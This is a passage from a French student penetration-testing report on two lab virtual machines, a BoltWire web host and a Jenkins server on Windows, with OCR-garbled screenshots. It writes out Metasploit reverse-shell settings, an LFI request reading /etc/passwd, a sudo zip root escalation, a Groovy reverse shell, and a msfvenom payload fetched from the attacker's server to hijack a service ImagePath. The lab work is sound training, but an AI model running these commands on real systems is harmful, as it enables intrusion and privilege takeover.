deux lignes “username” et “password” ayant respectivement pour valeur “bolt” et

“I_love_java” ce qui va nous permettre d’essayer I'exploit :
e

S mEPROF]-|1 2 3 4|9 D

] kali@kali: ~
File Actions Edit View Help

exploit/unix/webapp/BolE authenticated_rce 2020-85-07

BGIE CMs 3.7.0 - Authenticated Remote Code Execution
\_ target: Linux (x86) .

/]

1

2 \_ target: Linux (x64)

3 \_ target: Linux (cmd) o

4  exploit/multi/http/bolt file upload 2015-08-17

CMS Bolt File Upload Vulnerability

Interact with a meodule by name or index. For example info 4

nsfé > use @
Using configured payload cmd/unix/reverse_netcat
msfé exploit( ) > set rhost 192.165.100.8
rhost = 192.168.100.8
msfé exploit(
username = bolt
msfé exploit(
password = I_love_java
msf6 exploit( ) > setlhost 192.168.100.6
Unknown command: setlhost. Run the lp command for more details.

msf6 exploit( )} > set lhost 192.168.100.6
lhost = 192.168.100.6

) > set username bolt

) > set password I_love_java

On configure donc le remote host, I'username, le password ainsi que le local host pour
lancer I'exploit :
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msfe exploit(

heck exploitability. Connection failed "set ForceExploit true" to override check result.

Mais malheureusement une erreur survient et empéche I'exploit de se créer.

On va donc maintenant essayer de se connecter en ssh avec ces identifiants :

2.168.100.8
y of host '192.168.10@
+1n&~1p11nT is SHAZ
13 not known by any DThHI na

ermission : i
bolt@192.168.10@8.8"'s password I

Mais une nouvelle fois une erreur, cet utilisateur n’est pas présent sur la machine virtuelle en
tant que tel.

Tous ces tests n’étant pas concluant, on va maintenant essayer de s’attaquer a un autre port
: le 8080 qui est toujours un site hébergé sur lequel on va appliquer un dirbuster small :

I kali [En fonetion] - Oracle VM VirtualBo =

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

http:/f192.168.100.8:8080/

@ Scan Information ' Results - List View: Dirs: 7 Files: 2 | Results - Tree View | A Errors: 0|

Type Found Response Size

Dir ficons/ 403 450
File findex.php 200 179
Dir ficons/small/ 403 450
Dir Idevr 200 7946
File Idevfindex. php 200 7946
Dir [devifiles/ 200 840
Dir Idevipages/ 200 1571
Dir rdeviforms/ 200 1601
Dir Ideviconfig/ 200 942

Lorsque I'on accede au /dev on tombe sur cette page :
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prums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

WELCOME REGISTER SETUP ADMIN

BoltWire Welcome

Thank you for using

irel
Welcome BoltWire!

Your website has been successfully setup!
To learn more about using BoltWire, take our quick welcome tour online.

Want to get more involved in our community? Join our mailing list. Bug
reports, feature requests, and suggestions for code improvement are all

welcome.

On peut voir le bouton login sur lequel on clique pour essayer de se connecter avec les
identifiants trouvés précédemment mais cela ne donne pas de résultats concluent donc on
va essayer de créer un compte admin via la section “register” mais voici ce que I'on obtient
lorsque I'on tape admin en login et en mot de passe :

vE PO 2 3 2

-1~deb10ul - php' X

KaliLinux # KaliTools « KaliDocs & KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

WELCOME REGISTER SETUP ADMIN

BoltWire Welcome

Thank you for using

Register BoltWire!

There was an error of some sort and your account was not created.

Member name already taken. Please try again.

Click here to try again.

Il'y a donc déja un compte hommé admin, on va donc une nouvelle fois essayer de se login
mais cette fois avec le login “admin” et le mot de passe ‘I _love_java” et cette fois la
connexion fonctionne et nous permet d’étre admin sur Bolt.
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On a maintenant beaucoup plus de pages a visiter sur ce site et aprés quelques recherches

HENLCEEEEEE

®  PH ul-php X 192 efcor x| ofl BoltWire

< C @ O @ 192.168.100.8:

KaliLinux g KaliTools # KaliDocs ¥ Kali Forums X Kali NetHunter & Exploit-DB % Google Hacking DB ) OffSec

WELCOME REGISTER SETUP ADMIN

BoltWire site

Actions

Authorizations

Site

Config
This area gives you access to important site configuration pages. Click
Deprecate
links in the side menu to manage different aspects of your site.
Folders
. Index
You are currently using Version 6.03 of BoltWire.
Linkrot
Messages
Pages
Settings

dans la page admin, on trouve une version de Boltwire :

On va donc chercher des exploits pour cette version 6.03 de Boltwire et sur le site
https://www.exploit-db.com/exploits/48411 on trouve ceci :

# Exploit Title: BoltWire 6.83 - Local File Inclusion

# Date: 2020-05-02

# Exploit Author: Andrey Stoykov

# Vendor Homepage: https://wnw.boltwire.com/

# Software Link: https://www.boltwire.com/downloads/go8v=68&r=03
# Version: 6.83

# Tested on: Ubuntu 20.64 LAMP

LFI:
Steps to Reproduce:

1) Using HTTP GET request browse to the following page, whilst being authenticated user.
http://192.168.51.169/boltwire/index.php?p=action.search&action=../../../../../.. /.. /etc/passwd

Result

root:x:0:8:root: /root: /bin/bash
daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin: fusr/sbin/nologin
sys:x:3:3:sys:/dev: fusr/sbin/nologin
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:68:games: fusr/games: /usr/sbin/nologin
man:x:6:12:man: /var/cache/man: fusr/sbin/nologin
1p:x:7:7:1p: fvar/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail: fvar/mail: fusr/sbin/nologin
news:x:9:9:news: fvar/spool/news: fusr/sbin/nologin
uucp:x:18:18@:uucp: fvar/spoolfuucp: fusr/sbin/nologin
proxy:x:13:13:proxy: /bin: fusr/sbin/nologin
[SNIPPED]
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Cet exploit dit qu’il faut aller sur 'URL indiqué tout en étant authentifié pour avoir des
informations sur la machine héte du serveur. Ces informations ressemblent fortement au
contenu d’un fichier “passwd” de linux dans lequel se trouve les utilisateurs du systéme.
Apres avoir fait la manipulation, on obtient ceci :

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/shin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/varfrun/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:
fusr/shin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/shin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run
/systemd:/usr/sbin/nologin

systemd-network:x:102:103:systemd Network Management,,,:/run
/systemd:/usr/sbin/nologin

systemd-resolve:x;103:104:systemd Resolver,,,:/frun/systemd:/usr/shin
/nologin

messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
jeanpaul:x:1000:1000:jeanpaul,,,:/home/jeanpaul:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
_rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:108:65534::/var/lib/nfs:/usr/sbin/nologin

On voit plein d'utilisateurs systémes ainsi qu’un utilisateur classique qui est “jeanpaul” sur
lequel on va donc pouvoir tenter une connexion SSH, le port 22 étant ouvert, mais les mots
de passe les plus courants comme azerty, azertyuiop ou 123456 ne fonctionnent pas. Le
mot de passe |_love_java n’est pas non plus celui de cet utilisateur. C’est pourquoi on va
désormais chercher a trouver son mot de passe.

Le premier test a été un bruteforce avec hydra mais n’a pas donné de résultat concret donc
on va essayer de chercher le mot de passe ailleurs.

Pensant, qu’on avait tout exploré sur les ports 80 et 8080, on va maintenant utiliser le port
111 dédié au serveur RPC donc on va récupérer les infos relatives a ce port comme ceci :
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|-[~/Desktop]
) 192.168.100.8

gram vers proto service

4] tcp
tcp
tcp
udp
udp
udp
udp 45181 mountd
tcp 883 mountd
udp mountd
tcp f mountd
udp 49461 mountd
tcp 4 7 mountd
tcp
tcp
tcp
udp
udp
udp
udp
udp & 3  nlockmgr
tcp 6589 nlockmgr
tcp 6589 L r
tcp 3 9 nlockmgr

(SR

I
1
1

W= L L L e

W=

I

On observe un partage nfs donc on va voir ce qu'’il contient pour essayer de le récupérer.
Pour cela, on utilise showmount :

|-[~/Desktop]

192 .168.180 .8
Export list for ( 0
fsrv/nfs 172.16.8.86/12,10.0.8.08/8,192.168.0.0/16

Ainsi on voit le fichier /srv/nfs qui est disponible en partage pour notre machine kali étant
donné que son adresse IP est 192.168.100.6.

On peut alors maintenant réaliser un mount pour récupérer ce dossier avec la commande
mount -t nfs 192.168.100.8:/srv/nfs /mnt ce qui implique que le fichier /srv/nfs est maintenant
présent sur notre machine dans /mnt :

|-[~/Desktop]
/mnt

2 nobody nogroup
18 root root
-rw-r—r— 1 root root
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Maintenant qu’on sait qu’il se trouve un fichier zip dans ce partage, on va avoir pour objectif
de le dézipper et apreés quelques recherches sur Internet on trouve un outil pour pouvoir
faire cela : John The Ripper :

~[~/Desktop]

/mnt/save.zip
a PKZIP Encr

Using default input

Loaded 1 ssword hash (PKZIP
Will

On voit donc que John The Ripper nous donne java101 comme mot de passe pour dézipper
ce qui fait qu'on peut désormais lire les fichiers contenu a lintérieur qui sont todo.txt et
id_rsa qui est une clé ssh :

)~ [~/Desktop]
id_rsa
—BEGIN OPENSSH PRIVATE K

3vQBHCJ+VE
nsT12,/ JONKNW

)-[~/Desktop]
todo.txt

main webs roperly, the config file seems correct...
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on va donc essayer de se connecter a I'utilisateur jeanpaul avec cette clé ssh :

|-[~/Desktop]
id_rsa jeanpau 2.168.100.8

WARNING: UNPROTECTED PRIVATE KEY

too open.
y files are
will be ignored.
bad permissions

WD

ssion denied (public

Ce premier test ne fonctionne et, ne comprenant pas pourquoi au premier abord, nous
avons fait des recherches Internets qui nous ont expliqué qu'il fallait changer les propriétés
du fichier id_rsa donc nous avons fait chmod 700 id_rsa puis avons retenter la connexion

|-[~/Desktop]
700 id_rsa

|-[~/Desktop]
_rsa jeanpaul@dl
for k 'id_

=TT

The
the

permitted b .

Last login: Jun 2 21 2021 from 192.168.18.31
jeanpaulddev:~% whoami

jeanpaul

Le premier mot de passe testé lors de la connexion est java101 qui n’était pas le bon puis
I_love_java qui était celui de I'utilisateur jeanpaul :
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|-[~/Desktop]
700 id_rsa

|-[~/Desktop]
id_rsa jeanpaulml9?

Enter
Enter
Linux

included with the Debian GNU/Linux
tribution terms for

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Jum 2 85:25:21 2021 from 192.168.10.31
jeanpaulddev:~% whoami

jeanpaul

Maintenant que nous sommes connectés sur la machine, il faut procéder a I'escalation de
priviléges et pour cela, on va utiliser l'outil LInPEAS (Linux Privilege Escalation Awesome
Script) qui va nous permettre de trouver des vulnérabilités sur la machine. Pour cela, on va
installer LINPEAS sur notre kali puis créer un serveur web temporaire avec python pour
pouvoir faire un wget sur la machine cible :

)-[~/Desktop]
http.server 2000
.B.0.0:8008/)
GET /linpeas.sh HTTP/1.1" 200 -

- 1 810.72K —.-KB/s  in 0.025

Ce premier essai ne fonctionne pas car les droits ne sont pas corrects donc on les change
avec chmod 777 linpeash.sh puis on le réexécute. LInPEAS est un outil qui scan I'entiéreté
de la machine et qui, grace a un code couleur, montre les vulnérabilités présentent via
l'utilisateur sur lequel on est connecté. Ainsi, en scrollant sur le résultat de LIinPEAS, on
tombe un moment sur ceci :

Checking 'sudo -1', /etc/sudoers, and /etc/sudoers.d

Matching Defaults entries for on dev:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin%:/usr/bin\:/sbin\:/bin

User may run the fellowing commands on dewv:
(root) : /ust/binfEETY

La couleur rouge sur fond jaune indique que I'utilisateur jeanpaul peut utiliser zip en tant que
root sans avoir besoin de mot de passe comme lindique la légende de LIinPEAS, cela
permet donc de faire un reverse shell via zip pour pouvoir devenir root sur la machine :
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jeanpauladev: % LFILE=/tmp/test
jeanpaula) H % sudo zi LFILE fetc/hosts -T -TT 'sh #°
adding: y

g
# whoami

Avec ce reverse shell suivi dun whoami, on observe que I'on est maintenant root sur la
machine et que le pentest est par conséquent terminé.
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IV - Quatrieme VM (Butler) :

Pour cette VM, nous allons commencer comme pour les autre, par découvrir
'adresse ip de la machine a l'aide de [loutil netdiscover: netdiscover -r
192.168.1.0/24:

Currently scanning: Finished! Screen View: Unique Hosts

Total
At MAC Address Col : MAC Vendor / Hostname

Unknown vendor

Unknown vendor
ystemtechnik GmbH
wstemtechnik GmbH

On remarque donc que l'adresse de la VM est 192.168.1.230 ce qui nous permet de faire
une analyse des services disponibles avec nmap, le -A permet de detecter beaucoup
d’information :

04:57 EST

Host 1s up
Mot shown:
STATE S
open
open netblos-ssn
open microsoft-ds?
http

;charset=utf-8).
ft:windows

ed but n
LER, NetBIC <unknown> 7:ff:6f:fb (Oracle VirtualBox virtual NIC)

On voit que le port 8080 est ouvert, ce qui indique un serveur web. Lors de la connection au
serveur, on arrive sur cette page qui nous demande un login/mot de passe
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« > C 0 QO A 192.168.1.230:3080/login?from=%2F

KaliLinux & KaliTools ¢ KaliDocs M Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Welcome to Jenkins!

Keep me signed in

N’ayant pas en notre possession ce duo, on essaye quelques mots de passe et login
courants comme Admin Admin / admin admin / ou encore admin Jenkins puis au bout de
quelques tests de plus en essayant jenkins jenkins on arrive a se connecter au service.

La premiére chose que I'on remarque est la version du service qui est la 2.289.3 comme le
montre le bas de la page :

project

&=

REST APl Jenkins 2.289.3
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Avec cette version, on peut aller chercher des exploits sur Internet mais on peut également
en trouver via le panel de jenkins dans lequel se trouve un warning indiquant les failles
existantes sur le systéme. Parmi les recherches Internet, on a trouvé ce module
(https://github.com/MarioBartolome/Jenkins-pRCE-exploit/tree/master) mais aprés plusieurs
essais, il n’a pas donné de résultats concluants.

En continuant les recherches on tombe sur un nouveau site donnant un exploit
(https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html) mais
malheureusement, la premiére étape nous bloque directement, on tombe sur cette page
plutét que celle qu’indique le site :

(= C @ O & 192:168.1.230:8080/askjeeves/securityRealm/user/fadm

KaliLinux # KaliTools = KaliDocs & KaliForums e Kali NetHunter = Exploit-DB % Google Hacking DB " OffSec

HTTP ERROR 404 Not Found

URI: /askjeeves/securityRealm/user/admin
STATUS: 404
MESSAGE: Not Found
SERVLET: Stapler

Powered by Jetty:// 9.4.41.v20210516

Malgré que cet exploit ne fonctionne pas, ce site nous met sur une piste qui sont les scripts
groovy. En naviguant sur la page de jenkins, nous allons naviguer sur toute les pages
présente, pour voir & quoi on a accés et voir si il y avait un endroit ou on pouvait mettre des
scripts:

‘f Jenkins

Dashboard

= New ltem

&. People

= Build History
Manage Jenkins
&- My Views

4 Lockable Resources

Bl Mew View

Build Queue A

Mo builds in the queus

Build Executor Status ~

1 Idle
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Durant cette navigation je suis tombé sur la section Build Executor Status:

Dashboard Nodes

# Back to Dashboard s Name + Architecture Clock Difference Free Disk Space Free Swap Space Free Temp Space Response Time

2% Manage Jerkins ! master Windows 10 (amd64) Insync 7.64GB 1.90GB 7.64GB oms .,""
77 ms 127 ms -79ms -79ms

! Mew Node Data obtained -64ms -79ms -

¢ Configure Clouds

2% Node Monitoring

Build Queue

No builds n the queve.

Build Executor Status

1 1dle

2 ldle

Etant donné qu’il y a qu’'une seule node,on peut en déduire que c’est celle sur laquelle on
veut avoir accés, donc on va y accéder en cliquant dessus. On arrive sur cette page ou nous

avons un onglet script Console:

Dashboard Nodes master
1 . Mark this nede temporarily offline
& sacktoLit B Master (the master Jenkins node)
s Status . .
Projects tied to master
#. Configure None

= Build History
5 Load statistics

B script Console

Build Executor Status
1 idle

2 idle

En cliquant dessus on se rends compte que c’est un endroit ou on peut effectivement

exécuter des scripts groovy:

Dashboard Nodes master

# BcktoLst H Script Console

D, status
the server. Useful for trouble-shooting and disgnostics. Use the println’ command to see the output fif you use System. out, itwill go to the server's stdout, which is harder to see.) Example:

#. Configure

= Build History

&2 Load Statistics

B script Console

Build Executor Status -~
1dle

2 e
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Il nous reste plus qu'a trouver un script viable pour faire un reverse shell avec un script
groovy , pour le trouver une simple recherche google et le premier lien suffise:

B® Microsoft Bing ) reverse shell groovy script g & 'ﬁ

Q RECHERCHER COPILOT ECOLE IMAGES VIDEOS CARTES ACTUALITES SHOPPING

Environ 323 000 résultats

GitHub Gist
https://gist.github.com » frohoff
Pure Groovy/Java Reverse Shell - GitHub
Pure Groovy/Java Reverse Shell. GitHub Gist: instantly share code, notes, and snippets.

Temps de Lecture Estimé: 40 secondes

PayloadsAllTheThings/Meth... Reverse Shell Groovy Scripts ...
You signed in with another tab or window. Reverse Shell Groovy Scripts. GitHub Gist
Reload to refresh your session. You ... instantly share code, notes, and snippets.
Reverse Shell Cheat Sheet - ... SecOpsBear/sb-shells: Gener...
by frohoff NOTE: Java reverse shell also A simple cli tool to generate reverse shell in
work for Groovy. In order to catch a shell, ... various languages and environments ...

Afficher uniqguement les résultats de gist.github.com
Recherches associées

Q. groovy remote script Q. groovy script cheat sheet
Q,  cheat sheet reverse shell Q_  groovy remote code

Q,  groovy cheat sheet
Ce lien: Pure Groovy/Java Reverse Shell - GitHub, nous donne un code de reverse shell ou
nous avons juste a entrer notre ip et le port sur lequel nous allons écouter.

Avant de lancer le reverse shell nous allons dans un premier temps lancer I'écoute sur notre
machine attaquante comme ceci:
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une fois I'écoute lancer nous pouvons exécuter le script: Nous n’allons pas avoir de résultat
dans la console, car on peut le voir sur la capture que le site est en constant changement
mais I'attaque est bien lancée et le reverse shell fonctionnel:
L X)aE

® + Jenkins % & Jenki > enki efault pas- x  €) GitHub - MarioBart x @ C x )G
&= X @ O 9 g : ) ster)/script
Kali Linux § KaliTools * KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec
Dashboard Nodes master
\ Status ’
ype

at and execute it an the server. Useful for trouble-shoating and diagnastics. Use the‘printin’ command ta see the autput (if you use Sys tem. nut, it will go to the server's stdout, which is harder to see.) Eample:

# Configure

= Build History
B2 Load statistics

B seript Console String hossoi192.160. 12267

b ai

Brbtats Bnen Processautlar (c1a) . redirectErrorSt rean (truz) Start();Socket seneu Socket (host,part] SINpuTStrean pip.getInpuIStrean| ), pe-p.getErTorStreanl, si-s.getinpurstrean();outpus
Build Executor Status ~
1 idle

2 ke

Result

Le reverse shell:

~-lvnp 4G4G
11;tﬂn1n9 on [4n}] #@#=
connect to [192.168. "-] from (UNKNOWN) [192.168.1.230]) 49706
Microsoft Windows ersion 18.0.19043 64 ]
{(c) Microsoft Corporation. ALL rights reserved.

C:\Program Files\Jenkins>}}

Maintenant que nous avons un reverse shell nous allons devoir passer a I'élévation de
privileges. Pour se faire nous devons d’abord regarder s' il existe pas des failles connu sur
windows, qui est un windows 10 comme on peut le constater au moment ou notre reverse
shell a été effectué.
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Pour ce faire, une simple recherche internet peut suffire avec les bons mots clefs.

Q. windows 10 privilege escalation Y Q1

Q) SEARCH COPILOT SCHOOL IMAGES VIDEOS MAPS MNEWS SHOPPING ' MC

About 5,330,000 results

Privilege escalation in Windows occurs when users gain access to more system

resources than their privileges permit * 2 2 | It involves switching from a lower-level
user to a higher-level one, such as the administrator or the "NT AUTHORITY/SYSTEM"
account ! . Attackers exploit vulnerabilities or misconfigurations to elevate privileges,
allowing them to manipulate settings, exfiltrate data, or establish ongoing entry to the

system # 3.
Learn more:
1 How to Use Windows 2 Windows Privilege 3 Privilege Escalatior
Privilege Escalation for ... Escalation Fundamenta... * ®  onwindows (Wit >
3 stationxnet @ bugbase.ai ? ' @ delinea.com

Feedback

O Github

https://github.com » nickvourd » Windows-Local-Privilege-Escalation-Co...

Windows Local Privilege Escalation Cookbook - GitHub

This Cookbook was created with the main purpose of helping people understand local

privilege escalation techniques on Windows environments. Moreover, it can be use...
[ This Cookbook focuses only on misconfiguration vulnerabilities on Windows

waorkstations/servers/machines. See more
https://www.bing.com/ck/a?!&&p=5730ea40cf0b2e59dc37914152e4d6d2061...

Ici, la recherche ° wmdows 10 pr|V|Iege escalatlon nous mets en premler Ilen un repo

glthub(

Privilege Escalation Cookbook), qui liste plusieurs maniére de faire de Ielevatlon de

privilege.
vuinerabilities

This Cookbook presents the following Windows vulnerabilities:

» AlwayslnstallElevated

o Answer files (Unattend files)

* Logon Autostart Execution (Registry Run Keys)

* Logon Autostart Execution (Startup Folder)
* Leaked Credentials (GitHub Repository)
» leaked Credentials (Hardcoded Credentials)

* Leaked Credentials (PowerShell History)

* SeBackupPrivilege
* SelmpersonatePrivilege

s Stored Credentials (Runas)

» UAC Bypass
* Unquoted Service Path

* Weak Service Binary Permissions

s \Weak Service Permissions

* Weak Registry Permissions
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Pour cette machine virtuelle, nous allons nous intéresser a la derniere méthode. la Weak
Registry Permissions. Nous nous sommes intéressés a celle-ci car c’est celle qui nous
parlait le mieux, les clefs de registre windows.

On peut constater que c’est un guide complet pour réaliser I'attaque:

Windows-Local-Privilege-Escalation-Cookbook/Notes/\WWeakRegistryPermissions.md at
master - nickvourd/Windows-Local-Privilege-Escalation-Cookbook - GitHub

A la différence, nous allons devoir le faire a distance et sans interface graphique, ce qui veut
dire que nous allons devoir réaliser toutes les étapes qui sont graphiques notamment au
niveau des clefs de registre de les faire via powershell. La premiére étape est de faire un
répertoire la ou nous allons mettre notre faille:

| — |

~lvnp 4040

\Program File5h]enkin5bl

ensuite nous allons devoir télécharger notre faille, un service qui va nous permettre d’exploiter
I'élévation de privilege:
https://qithub.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Lab-Setup-Bi
nar rvice4.ex

Dans un premier nous passons sur powershell car toute la suite va se faire par ici puis nous avons

testé de telecharger le service avec wget, cependant nous avons eu une erreur:

/Lab-Setup-Binary/Servic

d/Windows-L,

ion-Cookbook/m

Puis avec la commande ci-dessous on installe le service:
New-Service -Name "Vulnerable Service 4" -BinaryPathName "C:\Program
Files\CustomSrv4\Serviced.exe" -DisplayName "Vuln Service 4" -Description "My

Custom Vulnerable Service 4" -StartupType Automatic
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cette commande crée un service Windows appelé “Vulnerable Service 4” qui utilise I'exécutable
situé a “C:\Program Files\CustomSrv4\Service4.exe”, avec un nom affiché “Vuln Service 4”, une
description “My Custom Vulnerable Service 4”, et qui démarre automatiquement au démarrage
du systeme. Avec celle ci on va éditer les permissions dans I'objectif d’accorder a tous les utilisateurs
standard d’avoir la capacité de gérer ce service:

cmd.exe /c 'sc sdset "Vulnerable Service 4"

D: (A; ; CCLCSWRPWPDTLOCRRC; ; ; SY) (A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; ; BA) (A; ; CCLCSWL
OCRRC; ; ;AU) (A; ; CCLCSWRPWPDTLOCRRC; ; ; PU) (A; ; RPWP; ; ; BU) '

Voici une explication des options utilisé dans cette commande:
e cmd.exe/c Exécute la commande et termine
e sc dsset “Vulnerable Service 4”: Définit les paramétres de sécurité du service
e D:(A;;CCLCSWRPWPDTLOCRRGC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWD
WO:;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPW
P;;;BU) : Chaine SDDL définissant les permissions pour différents utilisateurs et
groupes :
o SY:Systéme
o BA : Administrateurs
o AU : Utilisateurs authentifiés

o PU : Utilisateurs de puissance

o BU : Utilisateurs de sauvegarde
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En suite nous allons devoir utiliser les clefs de registre pour accorder les droit admin sur le service,
dans la théorie nous devons nous rendre sur le registre panel a cet endroit:
'Computer\HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Vul

nerable Service 4'
Puis de modifier les permissions et ajouter le control total a Users:
B Registry Editc

File Edit View Favorites Help
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4

vmsmp ~ || Name Type Data
VMSNPXY Ej’](DefauIt) REG_SZ (value not set)
VMSNPXYMP EP]Description REG_SZ My Custom Vulnerable Service 4
VMsP 25| DisplayName REG_SZ Vuln Service 4
VmsProxy ErrorControl REG_DWORD 0x00000001 (1)
VMSVSF By Dol DG EVDANDLS. Fan Eilan S mbmmnSryd\Serviced.exe
VMsVsP :l; Permissions f lInerable Service 4 >
VMTools =]
vmusbmouse if Security

kit
vmvss | Group Or user names:
vmwefifi i ALL APPLICATION PACKAGES
vmxnet3ndis6 %5 Account Unknown(S-1-15-3-1024-1065365936-1281604716....
volmgr §2 CREATOR OWNER
volmgrx £ SYSTEM
volsnap ini | dministrators)
volume I £2 Users (WIN10-DEV\Users) i
vpci
vpcivsp Add... Remove
vsmraid
vsock Permissions for Users Allow Deny
s O
VSStandardCollectorServi Read O
VSTXRAID Special permissions
vuhub
Vulnerable Service 4
vwifibus . al . o o set
VWlflﬂt cﬁgkszzt\:llaangzér.nlsslons or advanced settings, Advanced
W32Time
WaaSMedicSve
WacomPen
WalletService Gz Apply
wanarp
wanarpvé
WarpJITSve
wbengine
WhioSrvc
weifs
Wemsve
wencsve
wenfs
WdBoot
WdDevFlIt

Cependant, nous n’avons pas d’interface graphique, donc nous allons directement modifier
avec powershell la clef de registre avec les commandes suivantes::

1. Sacl = Get-Acl -Path
“HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4”

o Reécupére la liste de contréle d’acces (ACL) actuelle de la clé de registre
spécifiée.

2. Srule = New-Object
System.Security.AccessControl.RegistryAccessRule
“FullControl”, “Allow”)

o Crée une nouvelle regle d’acces pour le registre, accordant le contréle total
(“FullControl”) aux utilisateurs (“Users”).

(“Users”,
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3. Sacl.SetAccessRule (Srule)
o Ajoute la regle d’acces créée a I'ACL récupérée.
4. Set-Acl -Path “HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable
Service 4” -AclObject Sacl
o Applique 'ACL modifiée a la clé de registre spécifiée.

Ensuite nous allons effectuer une énumération manuelle de la vulnérabilité:

Tout d’abord nous allons dans le powershell exécutez la commande suivante:
Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable

Service 4" | f1l
voici I'explication des commandes:
1. Get-Acl -Path “HKLM:\SYSTEM\CurrentControlSet\Services\Vulnerable
Service 4”
o Récupére la liste de contréle d’acces (ACL) de la clé de registre spécifiée.
2. | f1
o Formate la sortie en liste (format-list), ce qui affiche toutes les propriétés de 'ACL

de maniére détaillée.

stomSrv4— Get-Acl -Path "H M ces\Vulnera Service 4" | f
YSTEM\CurrentControlSe

Path : Microsoft.PowerShell.Core\Registry :: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4
Owner : LTIN\Adm
Group
Access @ B A ow ReadKey
trators Allow FullControl

EM Allow FullCoentrol
1 FullControl
WALL APPL I0N PACKAGES Al
936-1281604716-35 28-1654721687 7 = 456934681 Allow

IID;KR;;;5-1

Nous devons voir ce qu’il y a en rouge qui indique les permissions accorder, I'objectif est de
verfier que les commandes effectuées au-dessus fonctionne. Puis nous allons effectuer une
deuxiéme commande:

reg query

"HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable
Service 4"

La commande ci-dessus, effectue une requéte sur la clé de registre spécifiée et affiche
toutes les sous-clés, entrées et valeurs associées a cette clé. En d’autres termes, elle
permet de voir les paramétres et les configurations du service “Vulnerable Service 4” dans le
registre Windows.
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t\Program Files\CustomSrv4—> reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable ¢
reg guery "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service 4"

HKEY_LOCAL_MACHINEMSYSTEM\CurrentControlSet\Services\Vulnerable Service 4
Type REG_DWORD 0x=10
Start REG_DWORD 2
ontrol
agePath
ObjectName REG_ 1System
Description REG_SZ My Custom Vulnerabl

Nous devons voir ce qu’il y a en rouge, cela nous permet de vérifier la localisation du
binaire.

Pour exploiter la faille nous allons utiliser I'outil msfvenom pour créer un .exe malveillant:
msfvenom -p windows/x64/shell reverse tcp LHOST=eth(O LPORT=1234 -f
exe > Serviced.exe

: Serviceh.exe
rom the payload
slecting
outputting

Maintenant que notre binaire est cree il ne reste plus que a le transferer sur la machine
victime, pour ce faire on va ouvrir un serveur web python avec la commande:
python3 -m http.server 8000

Et pour telecharger sur la machine victime:
iwr -Uri http://192.168.1.228:8000/Serviced.exe -Outfile

C:\Windows\Tasks\Serviced.exe

L.exe HTTP/1.1" 288 -

On voit avec la capture que la machine a bien téléchargé le fichier.

Enfin nous allons utiliser la commande suivante pour modifier le chemin d'accés a 'image du
service, pour que windows executer le .exe malveillant et non celui qu’il a approuvé au
début:

reg add

"HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable
Service 4" /t REG _EXPAND SZ /v ImagePath /d
"C:\Windows\Tasks\Serviced.exe" /f

n Fi "HK INE'

Voici une explication des options :

e reg add : Commande pour ajouter ou modifier une clé ou une valeur de registre.
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o “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable
Service 4” : Chemin de la clé de registre ou I'entrée sera ajoutée ou modifiée.

e /t REG_EXPAND_SZ : Spécifie le type de la valeur. REG_EXPAND_SZ est un type
de chaine qui peut contenir des variables d’environnement.
Iv ImagePath : Nom de la valeur a ajouter ou modifier. Ici, c’est “ImagePath”.
/d “C:\Windows\Tasks\Service4.exe” : Données a associer a la valeur. Ici, c’est le
chemin de I'exécutable “C:\Windows\Tasks\Service4.exe”.

e /f: Force I'ajout ou la modification sans demander de confirmation.

On constate avec la capture que I'opération a correctement fonctionné, nous allons donc
redémarrer soit le service soit la machine directement:

Mais avant nous allons ouvrir un port d'écoute, celui que nous avons renseigner a la création
de l'exécutable malveillant, 1234:

| — |

_lvnp 1234

listening on [any] 1234

Pour redémarrer le service:
sc start "Vulnerable Service 4"

NB: redémarrer le service n’a pas fonctionné pour nous, nous avons donc redémarré la VM
pour tester si cela fonctionnait, dans des conditions réelles redémarrer la machine ne serait
pas du tout discret. Pour redémarrer la machine:

